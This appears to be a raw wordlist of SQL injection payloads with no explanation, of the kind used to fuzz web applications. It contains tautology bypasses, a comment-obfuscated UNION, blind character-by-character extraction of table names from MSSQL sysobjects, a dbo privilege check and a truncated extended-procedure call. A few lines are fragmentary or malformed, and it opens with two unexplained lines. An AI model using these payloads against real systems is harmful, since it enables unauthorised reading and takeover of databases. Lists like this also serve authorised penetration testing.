???? 22

1985

1' OR '1'='1

' OR username IS NOT NULL OR username = '

1 UNI/**/ON SELECT ALL FROM WHERE

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

1'1

1 AND 1=1

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

1 AND USER_NAME() = 'dbo'

1 EXEC XP_

1'1

1' OR '1'='1

1 OR 1=1